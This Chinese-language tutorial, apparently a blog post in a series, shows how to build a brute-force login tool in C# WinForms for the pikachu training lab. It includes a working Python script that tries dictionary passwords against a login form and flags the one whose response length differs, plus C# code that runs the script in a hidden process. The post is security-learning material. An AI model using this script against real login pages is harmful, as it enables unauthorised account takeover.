使用C#winform编写渗透测试工具--暴力破解

这篇文章主要介绍使用C#winform编写渗透测试工具--暴力破解。暴力破解是指通过利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式。简单来说就是猜口令，攻击者一直枚举发送请求，因为爆破成功和失败的长度是不一样的，所以可以通过对比数据包的长度很好的判断是否爆破成功。通过python编写爆破脚本，再通过C#winform调用.py脚本进行爆破。

下面就是使用C#winform编写的渗透测试工具，前面我们已经完成了端口扫描和敏感目录扫描的工作，这一部分将介绍暴力破解部分。

使用pikachu靶场环境进行实验，如今通常是使用BurpSuit的Intruder模块来进行暴力破解，网上也有很多教程，这里我们通过自己编写软件进行暴力破解，靶场环境的搭建步骤可以参考https://blog.csdn.net/guo_yan_gy/article/details/103566638这篇文章，搭建后打开浏览器输入网址进入靶场。

一、实现原理

暴力破解分为基于表单的暴力破解、基于验证码的暴力破解和基于Token破解，这里主要实现基于表单的暴力破解。

首先需要一个密码字典，可以通过自己收集，也可以在网上下载。

一般进行密码爆破时，都是知道账户的而不知道密码，但如果两个都不知道，一般先爆破账户。爆破账户的原理是根据在输入账号后反馈的消息来进行确认，这里主要进行密码爆破。
使用python编写脚本调用字典进行密码爆破，根据返回的结果的长度判断爆破的结果(错误的密码返回的结果的信息是一样的，长度也是一样的，正确密码返回的结果和其他的返回结果不同，所以只需要找到返回结果长度和其他不一样的密码即可，该密码就是正确密码)。

二、代码实现

python实现密码暴力破解

# conding=utf-8
import requests
import sys

# 此处添加header
header = """
Host: 10.16.53.180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.16.53.180
Connection: close
Referer: http://10.16.53.180/pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=1g0kj04uc3ahskoaubeqpgud56
Upgrade-Insecure-Requests: 1
"""

def get_headers(url, test):
    headers = dict(line.split(": ", 1) for line in header.split("\n") if line != '')  # 通过原生请求头获取请求头字典
    f = open("password.txt", "r")  # 打开字典
    pwds = f.readlines()
    print("响应时间：")
    for pwd in pwds:
        url = url
        # url = 'http://10.16.53.180/pikachu/vul/burteforce/bf_form.php'
        values = {
            'username': test,
            'password': pwd[0:-1],
            'submit': 'Login',
        }
        req = requests.post(url=url, headers=headers, data=values)  # 发送post请求
        print(pwd[0:-1]+'-->', len(req.text))  # 返回结果

get_headers(sys.argv[1], sys.argv[2])

C#调用脚本

对于python脚本中包含第三方模块的情况，同样，通过直接创建Process进程，调用python脚本，返回扫描结果。

创建按钮按下事件button1_Click，运行“调用python脚本”函数runPythonPassword()

private void button6_Click(object sender, EventArgs e)
        {
            richTextBox3.Clear();
            runPythonPassword();//运行python函数
            label19.Text = "开始扫描...";
        }

实例化一个python进程调用.py 脚本

void runPythonPassword()
        {

            string url ="http://10.16.53.180/pikachu/vul/burteforce/bf_form.php";
            //string headers = richTextBox4.Text;
            string username = textBox8.Text;
            p = new Process();
            string path = "trans_headers.py";//待处理python文件的路径，本例中放在debug文件夹下
            string sArguments = path;
            ArrayList arrayList = new ArrayList();
            arrayList.Add(url);//网站url
            //arrayList.Add(headers);//请求头
            arrayList.Add(username);//破解的用户名
            foreach (var param in arrayList)//拼接参数
            {
                sArguments += " " + param;
            }
            //label29.Text = sArguments;
            p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话，可以写"xx\xx\python.exe"的绝对路径。如果配了，直接写"python"即可
            p.StartInfo.Arguments = sArguments;//python命令的参数
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            p.Start();//启动进程
            p.BeginOutputReadLine();
            p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_password);
            Console.ReadLine();
        }

输出接收事件函数

void p_OutputDataReceived_password(object sender, DataReceivedEventArgs e)
        {
            var printedStr = e.Data;
            Action at = new Action(delegate ()
            {
                //接受.py进程打印的字符信息到文本显示框
                richTextBox3.AppendText(printedStr + "\n");
                label19.Text = "扫描结束";
            });
            Invoke(at);
        }